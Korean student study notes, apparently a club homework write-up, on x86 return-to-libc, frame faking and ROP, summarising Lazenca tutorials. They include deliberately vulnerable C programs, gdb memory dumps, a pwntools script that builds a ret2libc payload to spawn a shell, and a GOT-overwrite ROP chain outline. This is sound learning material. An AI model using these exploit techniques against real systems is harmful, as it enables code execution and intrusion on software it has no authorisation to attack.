지옥방 5주차 과제 [라젠카 RTL(x86), Frame Faking, ROP(x86) 공부하기]
1. RTL(x86) 공부하기이~
http://lazenca.net/display/TEC/01.RTL%28Return+to+Libc%29+-+x86
RTL - Return to Libc
Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식을 말한당 -> 이 방식을 이용해서 NX bit 우회 가능
<Calling Convention(호출 규약)>
1. Cdecl(C declaration)
리눅스에서 사용하는 호출규약!
다음과 같은 특징이 있다
- 함수의 인자 값을 Stack에 저장하며, 오른쪽에서 왼쪽 순서로 스택에 저장한다.
- 함수의 Return 값은 EAX에 저장
- 사용된 Stack 정리는 해당 함수를 호출한 함수가 정리
int a,b,c,d;
int ret;
ret = function(a,b,c,d);
위의 C코드를 Cdecl 형태의 assembly code로 변화시키면 다음과 같다.
push d
push c
push b
push a
call function
mov ret,eax
인자가 a,b,c,d 순서로 스택에 올라간걸 볼 수 있다.->함수의 인자 값을 스택에 저장하며 오른쪽에서 왼쪽 순서로 스택에 저장한다.
return 값이 EAX에 저장되고 그 값을 ret에 복사했다. -> 함수의 Return 값은 EAX에 저장된다.
다음 예를 보자!
위와 같이 작성한 test.c를 컴파일해서 실행파일을 gdb로 분석해보면
자자 보면! vuln 함수의 인자값을 push 명령어를 이용해 스택에 저장하는걸 볼 수 있습니다. 물론 순서는 거꾸로!
인자값이 스택에 올라간 후 브레이크포인트를 걸어 스택을 살펴보면
높은 주소값부터 4, 3, 2, 1이 올라가 있음을 확인할 수 있당.
main 함수에서 사용하던 호출 프레임을 Stack에 저장한다. -> push ebp
vuln 함수에서 사용할 호출 프레임을 ebp에 초기화시킨다. ->mov ebp esp
즉 인자가 스택에 저장된 후의 상황은
<--이전 호출 프레임(EBP)--><--Return Address--><--인자1--><--인자2--><--인자3--><--인자4-->
가 된다!
즉 RTL(ret2libc) 기법 사용시 인자값을 전달하기 위해서는 Return Address의 4바이트 뒤에 인자값을 전달한다!
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50] = "";
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 100);
}
void main(){
vuln();
}
main 함수는 vuln 함수를 호출하는데, vuln 함수는 read() 함수를 이용해 50바이트짜리 buf에 100개의 문자를 입력받는다->Stack Overflow 발생!!!!
vuln() 함수의 2~3번째 명령어는 흠,,,, 설명대로라면 공유 라이브러리 영역의 Base address를 구하기 위해서 libc 영역에서 printf() 함수의 주소를 출력한다고 하는뒈,,, 흠 확인.
gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
위 파일을 위의 명령어로 Build 해줍니당. (위의 C 파일이 ret2libc.c)
이렇게 하고, vuln() 함수의 첫번째 명령어, read() 함수 호출 명령어, vuln() 함수의 RET 명령어에 BP를 하나씩 걸어준다!
BP 1에 걸려있는 상태에서 ESP가 가리키고 있는 주소에 저장된 값은 Return address가 된당
RSP에 main+14에 있는 명령어의 주소가 저장되어 있고, 이는 vuln 함수가 모두 끝났을때 , vuln() 함수를 호출한 call 명령어의 다음 명령어를 가리킨다.
봤죠!? RSP가 가리키고 있는 주소값은 call 명령어 다음 명령어인 nop 명령어의 주소값이다!!!
흠,,뭐지 왜 접근할 수 없는 주소일까요~
https://stackoverflow.com/questions/30139356/gdb-cant-access-memory-address-error
뭐 포인터 관련 문제인거 같은데,,후
아직 잘 모르겠습니당
암튼! 라젠카대로라면 BP 2에서 esp, esp+4에 저장된 값을 확인해보면 read 함수의 인자로 주어진 buf변수의 주소를 확인할 수 있다. 이는 Return address에서 66바이트 떨어져있는 주소였다.
-> 즉 사용자가 66개 이상의 문자를 입력하면 Return address를 덮어쓸 수 있다는 얘기~?
위와 같이 Breakpoint 2에서 c 명령을 해주면 다음 BP 3까지 이동하다가 중간에 read 함수를 수행하게 된다. 이때 66개 이상의 문자를 입력해주면, buf 변수를 채우고 남은 데이터들이 Return address 영역을 침범하게 되어
아까 위에서 Return address가 저장되어 있던 0xffffd57c(나의 경우에는 0x5555555551e9)에 저장된 값을 확인하자 buf에서 넘쳐들어온 값들로 오염되있는것을 볼 수 있당.
<Find the Libc adress of the system() function and "/bin/sh">
시스템 함수(system())는 인자로 실행할 Command의 경로를 문자열로 전달받기 때문에, RTL 기법으로 쉘을 실행하기 위해서는 "/bin/sh" 문자열을 전달해야 한다!
Libc 영역에서 System() 함수의 주소를 찾으려면!
libc 안에 있는 system()함수의 주소 - Libc 영역의 시작 주소 = Libc 영역에서의 System() 함수 주소 오프셋
system()함수의 주소 => 0x7ffff7e37880
gdb-peda$ info proc map
process 3492
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x555555554000 0x555555555000 0x1000 0x0 /home/caputdraconis/Desktop/ret2libc
0x555555555000 0x555555556000 0x1000 0x1000 /home/caputdraconis/Desktop/ret2libc
0x555555556000 0x555555557000 0x1000 0x2000 /home/caputdraconis/Desktop/ret2libc
0x555555557000 0x555555558000 0x1000 0x2000 /home/caputdraconis/Desktop/ret2libc
0x555555558000 0x555555559000 0x1000 0x3000 /home/caputdraconis/Desktop/ret2libc
0x555555559000 0x55555557a000 0x21000 0x0 [heap]
0x7ffff7dec000 0x7ffff7def000 0x3000 0x0
0x7ffff7def000 0x7ffff7e14000 0x25000 0x0 /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7e14000 0x7ffff7f5e000 0x14a000 0x25000 /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7f5e000 0x7ffff7fa8000 0x4a000 0x16f000 /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7fa8000 0x7ffff7fab000 0x3000 0x1b8000 /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7fab000 0x7ffff7fae000 0x3000 0x1bb000 /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7fae000 0x7ffff7fb2000 0x4000 0x0
0x7ffff7fb2000 0x7ffff7fb3000 0x1000 0x0 /usr/lib/x86_64-linux-gnu/libdl-2.30.so
0x7ffff7fb3000 0x7ffff7fb4000 0x1000 0x1000 /usr/lib/x86_64-linux-gnu/libdl-2.30.so
0x7ffff7fb4000 0x7ffff7fb5000 0x1000 0x2000 /usr/lib/x86_64-linux-gnu/libdl-2.30.so
0x7ffff7fb5000 0x7ffff7fb6000 0x1000 0x2000 /usr/lib/x86_64-linux-gnu/libdl-2.30.so
0x7ffff7fb6000 0x7ffff7fb7000 0x1000 0x3000 /usr/lib/x86_64-linux-gnu/libdl-2.30.so
0x7ffff7fb7000 0x7ffff7fb9000 0x2000 0x0
0x7ffff7fce000 0x7ffff7fd2000 0x4000 0x0 [vvar]
0x7ffff7fd2000 0x7ffff7fd4000 0x2000 0x0 [vdso]
0x7ffff7fd4000 0x7ffff7fd5000 0x1000 0x0 /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7fd5000 0x7ffff7ff3000 0x1e000 0x1000 /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ff3000 0x7ffff7ffb000 0x8000 0x1f000 /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x27000 /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x28000 /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
gdb-peda$
흠 여기서 libc Start address는 heap 영역 다음에 있는 0x7ffff7def000
구하고자 한 Libc 영역에서의 system() 함수의 주소 오프셋은 0x48880이 된다!!
이 방식처럼 "/bin/sh"도 똑같이 구할 수 있다.
<Exploit>
Exploit.py
from pwn import *
p = process('./ret2libc-32')
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
libcBase = stackAddr - 0x49020
sysAddr = libcBase + 0x3a940
binsh = libcBase + 0x15902b
print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
exploit = "A" * (70 - len(p32(sysAddr)))
exploit += p32(sysAddr)
exploit += 'BBBB'
exploit += p32(binsh)
p.send(exploit)
p.interactive()
위와 같은 코드를 이용해 Shell을 획득할 수 있당.
하지만 위의 코드는 오류가 발생하게 되는데, 이는 system() 함수 호출 후에 0x42424242 영역으로 이동을 실행할때 발생하는 문제때문이당!!!!
0x42424242 영역에 system() 함수 호출 후 이동할 영역의 주소를 저장하면 에러 발생 X
Exploit 부분은 아직 이해가 잘,,,후
http://lazenca.net/pages/viewpage.action?pageId=12189944
Frame faking(Fake ebp)
- 가짜 스택 프레임 포인터(Stack Frame Pointer)를 만들어서 프로그램의 실행 흐름을 바꿔놓는 것!{Return adrdress 영역까지만 덮을 수 있을때 사용가능한 기법!}
Instruction | 64 Bit | 32 Bit |
Leave | MOV RSP,RBP POP RBP |
MOV ESP,EBP POP EBP |
Ret | POP RIP JMP RIP |
POP EIP JMP EIP |
Leave 명령어는 RBP(EBP) 레지스터에 저장된 값을 RSP(ESP)에 MOV(저.장.) -> RSP(ESP)가 가리키는 스택 영역의 값을 RBP(EBP)에 저장한당.
RET 명령어는 RSP(ESP) 레지스터가 가리키는 스택 영역에 값을 RIP(EIP) 레지스터에 저장 -> JMP 명령어를 통해 RIP(EIP)에 저장된 주소로 이동한다!
//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
void vuln(int a,int b,int c,int d){
printf("%d, %d, %d, %d",a,b,c,d);
}
void main(int argc, char* argv[]){
vuln(1,2,3,4);
}
위 코드를 Build 한 후, BP를 main+13(main함수에서 사용할 프레임 포인터를 rbp(ebp)에 저장하고 난 직후), vuln+3(vuln 함수에서 사용할 프레임 포인터를 ebp(rbp)에 저장하고 난 직후), vuln+35(vuln 함수의 leave 명령어)에 걸어준다.
r로 실행하고 메인함수에서 사용할 프레임 포인터가 ebp에 저장되는 그 시점에! EBP를 살펴보았더니 메인 함수에서 사용할 프레임 포인터의 주소가 0x7fffffffe160이고 그 곳에는 값이 저장되어 있지 않다.( 0x000000000000 )
다시 위에서 발생했던 그 문제가 발생하기에 값이 저장되어 있는 모습은 생략하도록 한다. 라젠카를 믿습니다.
그래서 밑에서부터는 라젠카에 있는 예시로 적은 요약!
EBP와 4바이트 떨어진 주소인 0xffffd58c에는 Return address가 저장되어 있다.
BP 2에 걸렸을때 EBP(0xffffd568)를 확인해보면 vuln 함수에서 사용할 프레임 포인터의 주소를 확인할 수 있다.
0xffffd568에는 main 함수에서 사용하던 프레임 포인터의 주소값이 저장되어 있다.
EBP와 4바이트 떨어진 0xffffd56c에는 Return address가 저장되어 있다. 이건 vuln 함수가 종료된 후 이동할 주소다!
BP 3에 걸렸을때 leave 명령어의 동작을 확인할 수 있다.
위에서 알아봤듯이 leave 명령어는
- vuln 함수에서 사용하던 프레임 포인터의 주소를 ESP에 저장한다.
- ESP 레지스터가 가리키는 스택 영역의 값을 추출해 EBP에 저장한다.
즉 main 함수에서 사용하던 프레임 포인터를 EBP에 저장하는거다!
다시 main 함수로 돌아갈 준비 완료!
위에서 BP 3에 걸려있을때 ni를 입력하면 ret에 걸리게 된다.
RET 명령어가 하는 동작은
- ESP 레지스터가 가리키던 스택 영역에서 값을 추출해와 EIP 레지스터에 저장
- EIP 에 저장된 주소값으로 이동!
ESP 레지스터가 가리키는 스택영역에 저장되어 있던! Return address를 POP! 해서 EIP에 저장
EIP에 저장되어 있는 주소로 JMP 한다. 후... 그럼 함수 끝,,, 디 엔드,,
Proof of concept
예제 코드로 Frame faking의 동작을 살펴보자
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
printf("buf[50] address : %p\n",buf);
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 70);
}
void main(){
vuln();
}
위의 코드는 Stack address(buf)와 libc address(printf_addr)를 출력한다.
buf에 read() 함수를 이용해 70개의 문자를 입력받는다 -> Return address 영역까지만 값을 덮어쓸 수 있다.
vuln() 함수의 leave 명령어에 Break Point를 걸어주고 r 명령어로 실행한다!
그럼 Stack Address와 Printf address 두개가 출력이 되고 read() 명령어에 걸쳐있게 되는데
문자 70개를 입력하면 Frame Pointer(EBP)와 Return address영역까지 덮어 쓰게된당
leave 명령어를 수행하게 되면! -> vuln() 함수에서 사용하던 FramePointer, EBP에 저장되어 있는데 이걸? ESP로 MOV->POP EBP 해서 Main() 함수에서 이용하던 Frame Pointer(push 해놨던거)를 EBP에 다시 돌려놔!!!메인함수로 다시 돌아갈려구!!!
하지만 main() 함수에서 사용하던 Frame pointer의 주소가 저장되어 있던 스택 영역은 오버플로우로 인해 오염되었다.
Return address가 저장되어 있는 영역에 leave 명령어가 저장된 주소인 0x8048571 을 저장한다.
그렇게 되면 다시 leave 명령어가 수행이 되며 MOV ESP, EBP 와 POP EBP를 실행하게 되는데
Overflow에 의해 변경된 Frame Pointer의 주소(EBP에 저장되어 있음)를 ESP에 MOV 한다.
이렇게 ESP 레지스터의 값을 변경할 수 있다.
Poc
위에서 ESP 레지스터의 값이 변경되는걸 봤으니 그걸 이용해서 공격할 수 있다.
Frame Pointer 영역 - "RTL 코드가 저장되어 있는 주소 - 0x4" 의 값을 저장
Return Address 영역 - leave 명령어가 저장되어 있는 주소를 저장
Return address에 저장된 leave 명령어의 주소때문에 leave 명령어가 실행된다.
EBP에 저장되어 있는 "RTL 코드가 저장되어 있는 주소 - 0x4"의 값이 MOV ESP, EBP 명령에 의해 ESP 레지스터에 저장된다.
그리고!? POP을 해버리면~? buf[0]에 저장되어 있는 값! 0x90909090이 EBP에 저장된다.
그리고 POP을 했으니 ESP의 값은 4 증가한다. => ESP에 저장되어 있는 값은 "RTL 코드가 저장되어 있는 주소"가 된다 뚜둥!
이제 leave 했으니 ret 명령어 실행할 차례~
POP EIP -> ESP 레지스터가 가리키고 있는 영역은 "RTL 코드가 저장되어 있는 주소"인데 이를 EIP에 저장하게 된다.
JMP EIP -> "RTL 코드가 저장되어 있는 주소로 점프! 하면서 RTL이 동작하게 되는 무시무시한 마법,,,
*Exploit 부분은 코드와 실행 결과가 있길래 살펴봤지만 코드는 이해하지 못하고 실행결과만 확인했습니당
ROP(x86)
***ROP = RTL + Gadgets***
http://lazenca.net/display/TEC/01.ROP%28Return+Oriented+Programming%29-x86
ROP는 Return Oriendted Programming의 약자로 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code Signing)과 같은 보안기능이 있는 상태에서 코드를 실행할 수 있게 해주는 기술이당
이 기법은 프로그램의 흐름을 변경하기 위한 스택 오붜플로우 취약점과 가젯이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요하다. 각 가젯은 일반적으로 RET 명령어(반환 명령어)로 끝이나고, 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 있당. 가젯의 취약성 사용 -> 공격자 임의의 작업 수행 가능
가젯은 여러개의 함수를 호출하기 위해 사용된다
호출하는 함수의 인자가 3개일 경우 | pop;pop;pop;ret |
호출하는 함수의 인자가 2개일 경우 | pop;pop;ret |
호출하는 함수의 인자가 1개일 경우 | pop;ret |
호출하는 함수의 인자가 0개일 경우 |
ret |
해당 가젯들의 역할은 ESP 레지스터의 값을 증가시키는 것이다. POP 명령어는 ESP 레지스터가 가리키고 있는 스택 맨 위의 값을 반환하고 그 다음 값을 가리키게 되기 때문이기 때문일 것이다,,아마두? 근데
저 말뜻이 잘,,, 아직 잘 모르겠당,,
RTL 기법에서 호출할 함수의 주소값이 저장된 영역의 다음 영역은 해당 함수가 종료되었을 때 이동할 Return address가 저장되어 있는 영역이다. 바로 이곳에 가젯의 주소를 저장함으로써 연속해서 다음 함수가 호출되게 할 수 있다!
위의 예제는 ROP의 구조를 보여준다!
read() 함수 호출 이후 가젯에 의해 다음 함수인 System() 함수가 연속해서 호출되게 된드아
PLT & GOT
PLT : 프로시저 링키지 테이블 ( Procedure linkage table)의 약자로, 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있다 ( 해당 정보들은 .plt 섹션에!)
GOT : 전역 오프셋 테이블( Global offset table )에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장된다.(해당 정보들은 .got.plt 섹션에! 이 섹션은 공격자들의 공격 대상 뚜둥..)
Debug
read() 함수가 처음으로 호출되기 전에 BP를 설정해 PLT&GOT 영역의 값 변경을 확인해보장
elfsymbol read
으로 read() 함수의 plt, got 영역의 주소를 확인할 수 있다.
plt -> 0x8048300 got -> 0x804a00c
plt 영역의 주소인 0x8048300에 있는 값을 확인해보니?
read@got 영역의 주소인 0x804a00c 영역에 저장된 주소로 이동을 한다.
이동한 0x804a00c에는 위위 사진에서 볼 수 있듯이 <read@plt+6> 영역의 주소가 저장되어 있다.(0x8048306)
<- 이는 해당 프로그램에 read() 함수가 한 번도 호출되지 않아서 그렇다고 한다,, 왜 그런지는 아직 이해하지 못했다!!!!
<read@plt+11>에 있는
jmp 0x80482f0
에 의해 이쪽으로 딱 이동한다!
이동한 0x80482f0에서 다시 0x804a008로 점프를 하게 되고, 그 결과 _dl_runtime_resolve() 함수를 호출하게 된다.
이 함수는 libc에서 찾고자 하는 함수(read)의 주소를 .got.plt 영역에 저장한다.
read() 함수가 호출된 후 read@got(0x804a00c) 영역에 libc의 read() 함수의 주소가 저장되어 있다.
Proof of concept
#include <stdio.h>
#include <unistd.h>
void vuln(){
char buf[50];
read(0, buf, 256);
}
void main(){
write(1,"Hello ROP\n",10);
vuln();
}
위의 코드는 rop.c 이다!
위의 코드를 gcc로 컴파일해주고 gdb로 돌려버린다~
vuln() 함수의 첫번째 명령어와 read() 함수 호출하는 부분에 BP를 걸어준다.
BP 1에 걸렸을때 ESP를 확인해주면, 방금 Return address가 스택에 올라간 직후이니 esp가 가리키는 값은 Return address가 된다.
Return address -> 0xffffd5dc
BP 2에 걸렷을때 막! 방금! 인자로 주어진 buf 변수의 주소값이 스택에 올라갔을테니 ESP가 가리키는 영역에 저장된 값은 buf의 시작 주소값이 된다
buf 변수의 시작 주소 -> 0xffffd59e
Return address가 저장된 영역 - buf 변수의 시작 주소값 => 62
즉! 62개 이상의 문자를 입력하면 Return address를 혼내줄 수 있다.
Exploit 순서!
- read() 함수를 이용해 "/bin/sh" 명령을 쓰기 가능한(writable) 메모리 영역에 저장
- write 함수를 이용해 read 함수의 .got 영역에 저장된 값을 출력
- read 함수를 이용해 read 함수의 .got 영역에 system 함수의 주소로 덮어씀
- read 함수 호출- read .got 영역에 system 함수의 주소가 저장되어 있기에 system 함수가 호출됨.
이 순서를 코드로 표현하면 아래와 같다.
read(0,writableArea,len(str(binsh)))
write(1,read_got,len(str(read_got)))
read(0,read_got,len(str(read_got)))
system(writableArea)
이러한 공격을 위해 알아내어야 할 정보로는 "/bin/sh" 명령을 저장할 수 있는 writable한 메모리 공간, read() write() 함수의 plt,got , system() 함수의 주소, pop,pop,pop,ret 가젯의 위치 이렇게 4가지이다.
writable한 메모리 공간 찾귀
이 바이너리의 0x0804a000 부터 0x0804b000까지의 영역에 w 권한이 부여되어 있음을 위 사진에서 볼 수 있다.
Sections name | Memory address | Size |
.got.plt | 0x804a000 | 0x18 |
.data | 0x804a018 | 0x8 |
.bss | 0x804a020 | 0x4 |
위에서 찾은 0x0804a000~0x0804b000의 영역에는 위와 같은 섹션들이 포함되어 있다.
가쥇 찾귀
$ropgadget
gdb-peda 에서 위와 같은 명령어를 입력하면
위와 같이 필요한 Gadgets을 찾을 수 있다.
아까 필요한 가쥇이 pop;pop;pop;ret 가젯이였기에 pop3ret의 주소값인 0x80484e9!!!!
굳!!!!!!!이!!!!!!!!1 위에서 사용했던 ropgadget을 치면 나오는 그거를 굳!!!!!!!!이!!!!!!! 다른 방법을 사용하고 싶다면 원하는 가젯을 찾을 수 있는 또다른 방법인 rp++를 이용할 수 있다. 이건,,,어렵다씨
뭔가 개미집 같이 생겼다.
read() write() 함수의 plt,got 찾기
$elfsymbol read
$elfsymbol write
아까 위에서 read() 함수의 .plt 영역과 .got 영역의 주소를 알아내고자 사용했던 방법과 똑같다. 위의 명령어를 사용하면
위와 같이 출력되고! read@plt, read@got, write@plt, write@got 영역의 주소값을 사용하면 된.당.
system() 함수의 주소 찾귀
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0xf7edc350 <read>
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xf7e42940 <system>
gdb-peda$ p/x 0xf7edc350 - 0xf7e42940
$4 = 0x99a10
p 명령어로 주소를 찾을 수 있나보당,, read() 함수의 주소와 system() 함수의 주소를 각각 구한 뒤, 그 두 값의 차이를 구하면 그 값이 바로 offset이 된당~
사모하는 삭님께
이제 이 밑에서부터 익스플로이잇 코드 설명이 시작되지만,,
파이썬을 제대로 공부하지 않은 저의 두뇌와 아직 이번에 배운 라젠카의 내용도 '완벽하게' 습득하지 못한 저의 몸뚱아리가 콜롸붜뤠이션을 진행하게 되어, 아직 이해하지 못할것 같습니다. 조속히 처리하겠습니다.
김건탁 올림..